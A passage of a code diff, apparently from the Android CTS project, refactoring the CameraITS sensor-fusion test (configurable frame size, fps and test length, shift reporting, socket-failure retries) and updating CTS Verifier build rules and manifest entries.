# Get the shift corresponding to the best (lowest) score.
- candidates = numpy.arange(-50,50.5,0.5).tolist()
+ candidates = numpy.arange(-50, 50.5, 0.5).tolist()
dists = []
for shift in candidates:
times = cam_times + shift*MSEC_TO_NSEC
@@ -187,20 +221,20 @@
i = dists.index(best_corr_dist)
candidates = candidates[i-20:i+21]
dists = dists[i-20:i+21]
- a,b,c = numpy.polyfit(candidates, dists, 2)
+ a, b, c = numpy.polyfit(candidates, dists, 2)
exact_best_shift = -b/(2*a)
if abs(best_shift - exact_best_shift) > 2.0 or a <= 0 or c <= 0:
print "Test failed; bad fit to time-shift curve"
- print "best_shift %f, exact_best_shift %f, a %f, c %f" % (best_shift,
- exact_best_shift, a, c)
- assert(0)
+ print "best_shift %f, exact_best_shift %f, a %f, c %f" % (
+ best_shift, exact_best_shift, a, c)
+ assert 0
xfit = numpy.arange(candidates[0], candidates[-1], 0.05).tolist()
yfit = [a*x*x+b*x+c for x in xfit]
- fig = matplotlib.pyplot.figure()
- pylab.plot(candidates, dists, 'r', label="data")
- pylab.plot(xfit, yfit, 'b', label="fit")
- pylab.plot([exact_best_shift+x for x in [-0.1,0,0.1]], [0,0.01,0], 'b')
+ matplotlib.pyplot.figure()
+ pylab.plot(candidates, dists, "r", label="data")
+ pylab.plot(xfit, yfit, "", label="fit")
+ pylab.plot([exact_best_shift+x for x in [-0.1, 0, 0.1]], [0, 0.01, 0], "b")
pylab.xlabel("Relative horizontal shift between curves (ms)")
pylab.ylabel("Correlation distance")
pylab.legend()
@@ -208,6 +242,7 @@
return exact_best_shift * MSEC_TO_SEC
+
def plot_rotations(cam_rots, gyro_rots):
"""Save a plot of the camera vs. gyro rotational measurements.
@@ -217,17 +252,18 @@
"""
# For the plot, scale the rotations to be in degrees.
scale = 360/(2*math.pi)
- fig = matplotlib.pyplot.figure()
- cam_rots = cam_rots * scale
- gyro_rots = gyro_rots * scale
- pylab.plot(range(len(cam_rots)), cam_rots, 'r', label="camera")
- pylab.plot(range(len(gyro_rots)), gyro_rots, 'b', label="gyro")
+ matplotlib.pyplot.figure()
+ cam_rots *= scale
+ gyro_rots *= scale
+ pylab.plot(range(len(cam_rots)), cam_rots, "r", label="camera")
+ pylab.plot(range(len(gyro_rots)), gyro_rots, "b", label="gyro")
pylab.legend()
pylab.xlabel("Camera frame number")
pylab.ylabel("Angular displacement between adjacent camera frames (deg)")
pylab.xlim([0, len(cam_rots)])
matplotlib.pyplot.savefig("%s_plot.png" % (NAME))
+
def get_gyro_rotations(gyro_events, cam_times):
"""Get the rotation values of the gyro.
@@ -260,7 +296,7 @@
deltatgyro = (tgyro1 - tgyro0) * NSEC_TO_SEC
sgyro += vgyro * deltatgyro
# Handle the fractional intervals at the sides of the window.
- for side,igyro in enumerate([igyrowindow0-1, igyrowindow1]):
+ for side, igyro in enumerate([igyrowindow0-1, igyrowindow1]):
vgyro = all_rots[igyro+1]
tgyro0 = all_times[igyro]
tgyro1 = all_times[igyro+1]
@@ -275,7 +311,8 @@
gyro_rots = numpy.array(gyro_rots)
return gyro_rots
-def get_cam_rotations(frames, facing):
+
+def get_cam_rotations(frames, facing, h):
"""Get the rotations of the camera between each pair of frames.
Takes N frames and returns N-1 angular displacements corresponding to the
@@ -283,6 +320,8 @@
Args:
frames: List of N images (as RGB numpy arrays).
+ facing: Direction camera is facing
+ h: Pixel height of each frame
Returns:
Array of N-1 camera rotation measurements (rad).
@@ -292,14 +331,15 @@
frame = (frame * 255.0).astype(numpy.uint8)
gframes.append(cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY))
rots = []
- ymin = H/2 - FEATURE_MARGIN
- ymax = H/2 + FEATURE_MARGIN
- for i in range(1,len(gframes)):
+
+ ymin = h*(1-FEATURE_MARGIN)/2
+ ymax = h*(1+FEATURE_MARGIN)/2
+ for i in range(1, len(gframes)):
gframe0 = gframes[i-1]
gframe1 = gframes[i]
p0 = cv2.goodFeaturesToTrack(gframe0, mask=None, **FEATURE_PARAMS)
# p0's shape is N * 1 * 2
- mask = (p0[:,0,1] >= ymin) & (p0[:,0,1] <= ymax)
+ mask = (p0[:, 0, 1] >= ymin) & (p0[:, 0, 1] <= ymax)
p0_filtered = p0[mask]
num_features = len(p0_filtered)
if num_features < MIN_FEATURE_PTS:
@@ -318,17 +358,18 @@
rot = math.atan2(tform[0, 1], tform[0, 0])
else:
print "Unknown lens facing", facing
- assert(0)
+ assert 0
rots.append(rot)
if i == 1:
# Save a debug visualization of the features that are being
# tracked in the first frame.
frame = frames[i]
- for x,y in p0_filtered[st==1]:
- cv2.circle(frame, (x,y), 3, (100,100,255), -1)
- its.image.write_image(frame, "%s_features.png"%(NAME))
+ for x, y in p0_filtered[st == 1]:
+ cv2.circle(frame, (x, y), 3, (100, 100, 255), -1)
+ its.image.write_image(frame, "%s_features.png" % NAME)
return numpy.array(rots)
+
def get_cam_times(cam_events):
"""Get the camera frame times.
@@ -342,35 +383,45 @@
"""
# Assign a time to each frame that assumes that the image is instantly
# captured in the middle of its exposure.
- starts = numpy.array([start for start,exptime,readout in cam_events])
- exptimes = numpy.array([exptime for start,exptime,readout in cam_events])
- readouts = numpy.array([readout for start,exptime,readout in cam_events])
+ starts = numpy.array([start for start, exptime, readout in cam_events])
+ exptimes = numpy.array([exptime for start, exptime, readout in cam_events])
+ readouts = numpy.array([readout for start, exptime, readout in cam_events])
frame_times = starts + (exptimes + readouts) / 2.0
return frame_times
+
def load_data():
"""Load a set of previously captured data.
Returns:
events: Dictionary containing all gyro events and cam timestamps.
frames: List of RGB images as numpy arrays.
+ w: Pixel width of frames
+ h: Pixel height of frames
"""
- with open("%s_events.txt"%(NAME), "r") as f:
+ with open("%s_events.txt" % NAME, "r") as f:
events = json.loads(f.read())
n = len(events["cam"])
frames = []
for i in range(n):
- img = Image.open("%s_frame%03d.png"%(NAME,i))
- w,h = img.size[0:2]
- frames.append(numpy.array(img).reshape(h,w,3) / 255.0)
- return events, frames
+ img = Image.open("%s_frame%03d.png" % (NAME, i))
+ w, h = img.size[0:2]
+ frames.append(numpy.array(img).reshape(h, w, 3) / 255.0)
+ return events, frames, w, h
-def collect_data():
+
+def collect_data(fps, w, h, test_length):
"""Capture a new set of data from the device.
Captures both motion data and camera frames, while the user is moving
the device in a proscribed manner.
+ Args:
+ fps: FPS to capture with
+ w: Pixel width of frames
+ h: Pixel height of frames
+ test_length: How long the test should run for (in seconds)
+
Returns:
events: Dictionary containing all gyro events and cam timestamps.
frames: List of RGB images as numpy arrays.
@@ -389,21 +440,21 @@
time.sleep(0.5)
# Capture the frames. OIS is disabled for manual captures.
- facing = props['android.lens.facing']
+ facing = props["android.lens.facing"]
if facing != FACING_FRONT and facing != FACING_BACK:
print "Unknown lens facing", facing
- assert(0)
+ assert 0
- fmt = {"format":"yuv", "width":W, "height":H}
- s,e,_,_,_ = cam.do_3a(get_results=True, do_af=False)
+ fmt = {"format": "yuv", "width": w, "height": h}
+ s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
req = its.objects.manual_capture_request(s, e)
fps = 30
req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
req["android.control.aeTargetFpsRange"] = [fps, fps]
req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
print "Capturing %dx%d with sens. %d, exp. time %.1fms" % (
- W, H, s, e*NSEC_TO_MSEC)
- caps = cam.do_capture([req]*N, fmt)
+ w, h, s, e*NSEC_TO_MSEC)
+ caps = cam.do_capture([req]*fps*test_length, fmt)
# Get the gyro events.
print "Reading out sensor events"
@@ -416,38 +467,42 @@
exptimes = [c["metadata"]["android.sensor.exposureTime"] for c in caps]
readouts = [c["metadata"]["android.sensor.rollingShutterSkew"]
for c in caps]
- events = {"gyro": gyro, "cam": zip(starts,exptimes,readouts),
+ events = {"gyro": gyro, "cam": zip(starts, exptimes, readouts),
"facing": facing}
- with open("%s_events.txt"%(NAME), "w") as f:
+ with open("%s_events.txt" % NAME, "w") as f:
f.write(json.dumps(events))
# Convert the frames to RGB.
print "Dumping frames"
frames = []
- for i,c in enumerate(caps):
+ for i, c in enumerate(caps):
img = its.image.convert_capture_to_rgb_image(c)
frames.append(img)
- its.image.write_image(img, "%s_frame%03d.png"%(NAME,i))
+ its.image.write_image(img, "%s_frame%03d.png" % (NAME, i))
return events, frames
+
def procrustes_rotation(X, Y):
- """
+ """Performs a Procrustes analysis to conform points in X to Y.
+
Procrustes analysis determines a linear transformation (translation,
reflection, orthogonal rotation and scaling) of the points in Y to best
conform them to the points in matrix X, using the sum of squared errors
as the goodness of fit criterion.
Args:
- X, Y: Matrices of target and input coordinates.
+ X: Target coordinate matrix
+ Y: Input coordinate matrix
Returns:
The rotation component of the transformation that maps X to Y.
"""
X0 = (X-X.mean(0)) / numpy.sqrt(((X-X.mean(0))**2.0).sum())
Y0 = (Y-Y.mean(0)) / numpy.sqrt(((Y-Y.mean(0))**2.0).sum())
- U,s,Vt = numpy.linalg.svd(numpy.dot(X0.T, Y0),full_matrices=False)
+ U, _, Vt = numpy.linalg.svd(numpy.dot(X0.T, Y0), full_matrices=False)
return numpy.dot(Vt.T, U.T)
-if __name__ == '__main__':
+
+if __name__ == "__main__":
main()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index dedc969..57e348a 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -29,6 +29,7 @@
CHART_DELAY = 1 # seconds
CHART_DISTANCE = 30.0 # cm
FACING_EXTERNAL = 2
+NUM_TRYS = 2
SKIP_RET_CODE = 101 # note this must be same as tests/scene*/test_*
def calc_camera_fov():
@@ -47,6 +48,17 @@
return fov
+def evaluate_socket_failure(err_file_path):
+ """Determine if test fails due to socket FAIL."""
+ socket_fail = False
+ with open(err_file_path, 'r') as ferr:
+ for line in ferr:
+ if (line.find('socket.error') != -1 or
+ line.find('Problem with socket') != -1):
+ socket_fail = True
+ return socket_fail
+
+
def skip_sensor_fusion():
"""Determine if sensor fusion test is skipped for this camera."""
@@ -65,17 +77,24 @@
Script should be run from the top-level CameraITS directory.
- Command line Arguments:
- camera: the camera(s) to be tested. Use comma to separate multiple
- camera Ids. Ex: "camera=0,1" or "camera=1"
- scenes: the test scene(s) to be executed. Use comma to separate multiple
- scenes. Ex: "scenes=scene0,scene1" or "scenes=0,1,sensor_fusion"
- (sceneX can be abbreviated by X where X is a integer)
- chart: [Experimental] another android device served as test chart
- display. When this argument presents, change of test scene will
- be handled automatically. Note that this argument requires
- special physical/hardware setup to work and may not work on
- all android devices.
+ Command line arguments:
+ camera: the camera(s) to be tested. Use comma to separate multiple
+ camera Ids. Ex: "camera=0,1" or "camera=1"
+ device: device id for adb
+ scenes: the test scene(s) to be executed. Use comma to separate
+ multiple scenes. Ex: "scenes=scene0,scene1" or
+ "scenes=0,1,sensor_fusion" (sceneX can be abbreviated by X
+ where X is a integer)
+ chart: [Experimental] another android device served as test chart
+ display. When this argument presents, change of test scene
+ will be handled automatically. Note that this argument
+ requires special physical/hardware setup to work and may not
+ work on all android devices.
+ result: Device ID to forward results to (in addition to the device
+ that the tests are running on).
+ rot_rig: [Experimental] ID of the rotation rig being used (formatted as
+ "<vendor ID>:<product ID>:<channel #>" or "default")
+ tmp_dir: location of temp directory for output files
skip_scene_validation: force skip scene validation. Used when test scene
is setup up front and don't require tester validation.
dist: [Experimental] chart distance in cm.
@@ -137,7 +156,7 @@
chart_host_id = None
result_device_id = None
rot_rig_id = None
-
+ tmp_dir = None
skip_scene_validation = False
chart_distance = CHART_DISTANCE
@@ -153,6 +172,8 @@
elif s[:8] == 'rot_rig=' and len(s) > 8:
rot_rig_id = s[8:] # valid values: 'default' or '$VID:$PID:$CH'
# The default '$VID:$PID:$CH' is '04d8:fc73:1'
+ elif s[:8] == 'tmp_dir=' and len(s) > 8:
+ tmp_dir = s[8:]
elif s == 'skip_scene_validation':
skip_scene_validation = True
elif s[:5] == 'dist=' and len(s) > 5:
@@ -196,7 +217,7 @@
results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
# Make output directories to hold the generated files.
- topdir = tempfile.mkdtemp()
+ topdir = tempfile.mkdtemp(dir=tmp_dir)
subprocess.call(['chmod', 'g+rx', topdir])
print "Saving output files to:", topdir, "\n"
@@ -310,7 +331,7 @@
if merge_result_switch and camera_ids[0] == '0':
# Send an input event to keep the screen not dimmed.
# Since we are not using camera of chart screen, FOCUS event
- # should does nothing but keep the screen from dimming.
+ # should do nothing but keep the screen from dimming.
# The "sleep after x minutes of inactivity" display setting
# determines how long this command can keep screen bright.
# Setting it to something like 30 minutes should be enough.
@@ -318,26 +339,38 @@
% chart_host_id)
subprocess.call(cmd.split())
t0 = time.time()
- outdir = os.path.join(topdir, camera_id, scene)
- outpath = os.path.join(outdir, testname+'_stdout.txt')
- errpath = os.path.join(outdir, testname+'_stderr.txt')
- if scene == 'sensor_fusion':
- if skip_code is not SKIP_RET_CODE:
- if rot_rig_id:
- print 'Rotating phone w/ rig %s' % rot_rig_id
- rig = ('python tools/rotation_rig.py rotator=%s' %
- rot_rig_id)
- subprocess.Popen(rig.split())
+ for num_try in range(NUM_TRYS):
+ outdir = os.path.join(topdir, camera_id, scene)
+ outpath = os.path.join(outdir, testname+'_stdout.txt')
+ errpath = os.path.join(outdir, testname+'_stderr.txt')
+ if scene == 'sensor_fusion':
+ if skip_code is not SKIP_RET_CODE:
+ if rot_rig_id:
+ print 'Rotating phone w/ rig %s' % rot_rig_id
+ rig = ('python tools/rotation_rig.py rotator=%s' %
+ rot_rig_id)
+ subprocess.Popen(rig.split())
+ else:
+ print 'Rotate phone 15s as shown in SensorFusion.pdf'
else:
- print 'Rotate phone 15s as shown in SensorFusion.pdf'
+ test_code = skip_code
+ if skip_code is not SKIP_RET_CODE:
+ cmd = ['python', os.path.join(os.getcwd(), testpath)]
+ cmd += sys.argv[1:] + [camera_id_arg]
+ with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
+ test_code = subprocess.call(
+ cmd, stderr=ferr, stdout=fout, cwd=outdir)
+ if test_code == 0 or test_code == SKIP_RET_CODE:
+ break
else:
- test_code = skip_code
- if skip_code is not SKIP_RET_CODE:
- cmd = ['python', os.path.join(os.getcwd(), testpath)]
- cmd += sys.argv[1:] + [camera_id_arg]
- with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
- test_code = subprocess.call(
- cmd, stderr=ferr, stdout=fout, cwd=outdir)
+ socket_fail = evaluate_socket_failure(errpath)
+ if socket_fail:
+ if num_try != NUM_TRYS-1:
+ print ' Retry %s/%s' % (scene, testname)
+ else:
+ break
+ else:
+ break
t1 = time.time()
test_failed = False
diff --git a/apps/CameraITS/tools/run_sensor_fusion_box.py b/apps/CameraITS/tools/run_sensor_fusion_box.py
index 6eb8ceb..ec16b3d 100644
--- a/apps/CameraITS/tools/run_sensor_fusion_box.py
+++ b/apps/CameraITS/tools/run_sensor_fusion_box.py
@@ -14,49 +14,80 @@
import os
import os.path
+import re
import subprocess
import sys
import tempfile
import time
import its.device
-# from its.device import ItsSession
+import numpy
-NUM_RUNS = 2
SCENE_NAME = 'sensor_fusion'
SKIP_RET_CODE = 101
TEST_NAME = 'test_sensor_fusion'
TEST_DIR = os.path.join(os.getcwd(), 'tests', SCENE_NAME)
+W, H = 640, 480
+
+# For finding best correlation shifts from test output logs.
+SHIFT_RE = re.compile('^Best correlation of [0-9.]+ at shift of [-0-9.]+ms$')
+# For finding lines that indicate socket issues in failed test runs.
+SOCKET_FAIL_RE = re.compile(
+ r'.*((socket\.(error|timeout))|(Problem with socket)).*')
+
+FPS = 30
+TEST_LENGTH = 7 # seconds
def main():
- """Run all the test_sensor_fusion NUM_RUNS times.
+ """Run test_sensor_fusion NUM_RUNS times.
- Save intermediate files, and producing a summary/report of the results.
+ Save intermediate files and produce a summary/report of the results.
Script should be run from the top-level CameraITS directory.
- Command line Arguments:
- camera: the camera(s) to be tested. Use comma to separate multiple
- camera Ids. Ex: 'camera=0,1' or 'camera=1'
- device: the device id for adb
- rotator: string for rotator id in for vid:pid:ch
+ Command line arguments:
+ camera: Camera(s) to be tested. Use comma to separate multiple
+ camera Ids. Ex: 'camera=0,1' or 'camera=1'
+ device: Device id for adb
+ fps: FPS to capture with during the test
+ img_size: Comma-separated dimensions of captured images (defaults to
+ 640x480). Ex: 'img_size=<width>,<height>'
+ num_runs: Number of times to repeat the test
+ rotator: String for rotator id in for vid:pid:ch
+ test_length: How long the test should run for (in seconds)
+ tmp_dir: Location of temp directory for output files
"""
camera_id = '0'
+ fps = str(FPS)
+ img_size = '%s,%s' % (W, H)
+ num_runs = 1
rotator_ids = 'default'
+ test_length = str(TEST_LENGTH)
+ tmp_dir = None
for s in sys.argv[1:]:
if s[:7] == 'camera=' and len(s) > 7:
camera_id = s[7:]
+ if s[:4] == 'fps=' and len(s) > 4:
+ fps = s[4:]
+ elif s[:9] == 'img_size=' and len(s) > 9:
+ img_size = s[9:]
+ elif s[:9] == 'num_runs=' and len(s) > 9:
+ num_runs = int(s[9:])
elif s[:8] == 'rotator=' and len(s) > 8:
rotator_ids = s[8:]
+ elif s[:12] == 'test_length=' and len(s) > 12:
+ test_length = s[12:]
+ elif s[:8] == 'tmp_dir=' and len(s) > 8:
+ tmp_dir = s[8:]
if camera_id not in ['0', '1']:
print 'Need to specify camera 0 or 1'
sys.exit()
# Make output directories to hold the generated files.
- tmpdir = tempfile.mkdtemp()
+ tmpdir = tempfile.mkdtemp(dir=tmp_dir)
print 'Saving output files to:', tmpdir, '\n'
device_id = its.device.get_device_id()
@@ -68,42 +99,124 @@
rotator_id_arg = 'rotator=' + rotator_ids
print 'Preparing to run sensor_fusion on camera', camera_id
+ img_size_arg = 'img_size=' + img_size
+ print 'Image dimensions are ' + 'x'.join(img_size.split(','))
+
+ fps_arg = 'fps=' + fps
+ test_length_arg = 'test_length=' + test_length
+
os.mkdir(os.path.join(tmpdir, camera_id))
- # Run test multiple times, capturing stdout and stderr.
- numpass = 0
- numfail = 0
- numskip = 0
- for i in range(NUM_RUNS):
+ # Run test "num_runs" times, capturing stdout and stderr.
+ num_pass = 0
+ num_fail = 0
+ num_skip = 0
+ num_socket_fails = 0
+ num_non_socket_fails = 0
+ shift_list = []
+ for i in range(num_runs):
os.mkdir(os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i)))
- cmd = ('python tools/rotation_rig.py rotator=%s' % rotator_ids)
+ cmd = 'python tools/rotation_rig.py rotator=%s' % rotator_ids
subprocess.Popen(cmd.split())
cmd = ['python', os.path.join(TEST_DIR, TEST_NAME+'.py'),
- device_id_arg, camera_id_arg, rotator_id_arg]
+ device_id_arg, camera_id_arg, rotator_id_arg, img_size_arg,
+ fps_arg, test_length_arg]
outdir = os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i))
outpath = os.path.join(outdir, TEST_NAME+'_stdout.txt')
errpath = os.path.join(outdir, TEST_NAME+'_stderr.txt')
t0 = time.time()
with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
retcode = subprocess.call(
- cmd, stderr=ferr, stdout=fout, cwd=outdir)
+ cmd, stderr=ferr, stdout=fout, cwd=outdir)
t1 = time.time()
if retcode == 0:
retstr = 'PASS '
- numpass += 1
+ time_shift = find_time_shift(outpath)
+ shift_list.append(time_shift)
+ num_pass += 1
elif retcode == SKIP_RET_CODE:
retstr = 'SKIP '
- numskip += 1
+ num_skip += 1
else:
retstr = 'FAIL '
- numfail += 1
+ time_shift = find_time_shift(outpath)
+ if time_shift is None:
+ if is_socket_fail(errpath):
+ num_socket_fails += 1
+ else:
+ num_non_socket_fails += 1
+ else:
+ shift_list.append(time_shift)
+ num_fail += 1
msg = '%s %s/%s [%.1fs]' % (retstr, SCENE_NAME, TEST_NAME, t1-t0)
print msg
- test_result = '%d / %d tests passed (%.1f%%)' % (
- numpass+numskip, NUM_RUNS, 100.0*float(numpass+numskip)/NUM_RUNS)
- print test_result
+ if num_pass == 1:
+ print 'Best shift is %sms' % shift_list[0]
+ elif num_pass > 1:
+ shift_arr = numpy.array(shift_list)
+ mean, std = numpy.mean(shift_arr), numpy.std(shift_arr)
+ print 'Best shift mean is %sms with std. dev. of %sms' % (mean, std)
+
+ pass_percentage = 100*float(num_pass+num_skip)/num_runs
+ print '%d / %d tests passed (%.1f%%)' % (num_pass+num_skip,
+ num_runs,
+ pass_percentage)
+
+ if num_socket_fails != 0:
+ print '%s failure(s) due to socket issues' % num_socket_fails
+ if num_non_socket_fails != 0:
+ print '%s non-socket failure(s)' % num_non_socket_fails
+
+
+def is_socket_fail(err_file_path):
+ """Search through a test run's stderr log for any mention of socket issues.
+
+ Args:
+ err_file_path: File path for stderr logs to search through
+
+ Returns:
+ True if the test run failed and it was due to socket issues. Otherwise,
+ False.
+ """
+ return find_matching_line(err_file_path, SOCKET_FAIL_RE) is not None
+
+
+def find_time_shift(out_file_path):
+ """Search through a test run's stdout log for the best time shift.
+
+ Args:
+ out_file_path: File path for stdout logs to search through
+
+ Returns:
+ The best time shift, if one is found. Otherwise, returns None.
+ """
+ line = find_matching_line(out_file_path, SHIFT_RE)
+ if line is None:
+ return None
+ else:
+ words = line.split(' ')
+ # Get last word and strip off 'ms\n' before converting to a float.
+ return float(words[-1][:-3])
+
+
+def find_matching_line(file_path, regex):
+ """Search each line in the file at 'file_path' for a line matching 'regex'.
+
+ Args:
+ file_path: File path for file being searched
+ regex: Regex used to match against lines
+
+ Returns:
+ The first matching line. If none exists, returns None.
+ """
+ with open(file_path) as f:
+ for line in f:
+ if regex.match(line):
+ return line
+ return None
+
if __name__ == '__main__':
main()
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index e6e044d..ff45fb5 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -40,6 +40,8 @@
compatibility-device-util \
platform-test-annotations
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
LOCAL_PACKAGE_NAME := CtsVerifier
LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni \
@@ -51,7 +53,7 @@
LOCAL_SDK_VERSION := test_current
LOCAL_DEX_PREOPT := false
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_PACKAGE)
# Build CTS verifier framework as a libary.
@@ -71,7 +73,6 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
LOCAL_SRC_FILES := \
$(call java-files-in, src/com/android/cts/verifier) \
- $(call java-files-in, src/com/android/cts/verifier/backup) \
$(call all-Iaidl-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 \
@@ -88,20 +89,32 @@
include $(BUILD_MULTI_PREBUILT)
-notification-bot := $(call intermediates-dir-for,APPS,NotificationBot)/package.apk
-permission-app := $(call intermediates-dir-for,APPS,CtsPermissionApp)/package.apk
-usb-companion := $(call intermediates-dir-for,APPS,CtsVerifierUSBCompanion)/package.apk
-empty-device-admin := $(call intermediates-dir-for,APPS,CtsEmptyDeviceAdmin)/package.apk
-empty-device-owner := $(call intermediates-dir-for,APPS,CtsEmptyDeviceOwner)/package.apk
+pre-installed-apps := \
+ CtsEmptyDeviceAdmin \
+ CtsEmptyDeviceOwner \
+ CtsPermissionApp \
+ NotificationBot
+
+other-required-apps := \
+ CtsVerifierUSBCompanion \
+ CtsVpnFirewallAppApi23 \
+ CtsVpnFirewallAppApi24 \
+ CtsVpnFirewallAppNotAlwaysOn
+
+apps-to-include := \
+ $(pre-installed-apps) \
+ $(other-required-apps)
+
+define apk-location-for
+ $(call intermediates-dir-for,APPS,$(1))/package.apk
+endef
# Builds and launches CTS Verifier on a device.
.PHONY: cts-verifier
-cts-verifier: CtsVerifier adb NotificationBot CtsPermissionApp CtsEmptyDeviceAdmin CtsEmptyDeviceOwner
+cts-verifier: CtsVerifier adb $(pre-installed-apps)
adb install -r $(PRODUCT_OUT)/data/app/CtsVerifier/CtsVerifier.apk \
- && adb install -r $(notification-bot) \
- && adb install -r $(permission-app) \
- && adb install -r $(empty-device-admin) \
- && adb install -r -t $(empty-device-owner) \
+ $(foreach app,$(pre-installed-apps), \
+ && adb install -r -t $(call apk-location-for,$(app))) \
&& adb shell "am start -n com.android.cts.verifier/.CtsVerifierActivity"
#
@@ -134,19 +147,12 @@
cts : $(verifier-zip)
$(verifier-zip) : $(HOST_OUT)/CameraITS
-$(verifier-zip) : $(notification-bot)
-$(verifier-zip) : $(permission-app)
-$(verifier-zip) : $(usb-companion)
-$(verifier-zip) : $(empty-device-admin)
-$(verifier-zip) : $(empty-device-owner)
+$(verifier-zip) : $(foreach app,$(apps-to-include),$(call apk-location-for,$(app)))
$(verifier-zip) : $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk | $(ACP)
$(hide) mkdir -p $(verifier-dir)
$(hide) $(ACP) -fp $< $(verifier-dir)/CtsVerifier.apk
- $(ACP) -fp $(notification-bot) $(verifier-dir)/NotificationBot.apk
- $(ACP) -fp $(permission-app) $(verifier-dir)/CtsPermissionApp.apk
- $(ACP) -fp $(usb-companion) $(verifier-dir)/CtsVerifierUSBCompanion.apk
- $(ACP) -fp $(empty-device-admin) $(verifier-dir)/CtsEmptyDeviceAdmin.apk
- $(ACP) -fp $(empty-device-owner) $(verifier-dir)/CtsEmptyDeviceOwner.apk
+ $(foreach app,$(apps-to-include), \
+ $(ACP) -fp $(call apk-location-for,$(app)) $(verifier-dir)/$(app).apk;)
$(hide) $(ACP) -fpr $(HOST_OUT)/CameraITS $(verifier-dir)
$(hide) cd $(cts-dir) && zip -rq $(verifier-dir-name) $(verifier-dir-name)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 6e7f8a6..a06db9e 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,9 +18,9 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.verifier"
android:versionCode="5"
- android:versionName="8.0_r21">
+ android:versionName="8.1_r17">
- <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="26"/>
+ <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="27"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
@@ -268,6 +268,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -291,6 +293,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -314,6 +318,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -337,6 +343,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -1075,6 +1083,17 @@
<meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
</activity>
+ <activity android:name=".location.GnssPseudorangeVerificationTestsActivity"
+ android:label="@string/location_pseudorange_value_test"
+ android:screenOrientation="locked">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+ <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+ </activity>
+
<activity android:name=".location.GnssTtffTestsActivity"
android:label="@string/location_gnss_ttff_test"
android:screenOrientation="locked">
@@ -1668,7 +1687,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
- <meta-data android:name="test_required_features" android:value="android.hardware.sensor.gyroscope:android.hardware.camera.any" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
</activity>
<activity
android:name=".camera.fov.DetermineFovActivity"
@@ -2082,7 +2101,7 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_deskclock" />
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.television:android.software.leanback" />
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
</activity>
<!-- TODO: enable when not requiring to tap the screen and timeouts are tuned -->
@@ -2306,6 +2325,14 @@
</intent-filter>
</service>
+ <activity android:name=".managedprovisioning.AlwaysOnVpnSettingsTestActivity"
+ android:label="@string/provisioning_byod_always_on_vpn">
+ <intent-filter>
+ <action android:name="com.android.cts.verifier.managedprovisioning.action.ALWAYS_ON_VPN_SETTINGS_TEST" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
<activity android:name=".managedprovisioning.PermissionLockdownTestActivity"
android:label="@string/device_profile_owner_permission_lockdown_test">
<intent-filter>
@@ -2533,7 +2560,6 @@
<action android:name="android.intent.action.WEB_SEARCH" />
<action android:name="android.intent.action.VIEW_DOWNLOADS" />
<action android:name="android.media.action.DISPLAY_AUDIO_EFFECT_CONTROL_PANEL" />
- <action android:name="android.settings.SHOW_INPUT_METHOD_PICKER" />
<action android:name="android.intent.action.MANAGE_NETWORK_USAGE" />
<action android:name="com.android.settings.TTS_SETTINGS" />
<action android:name="android.settings.ZEN_MODE_SETTINGS" />
@@ -2758,6 +2784,17 @@
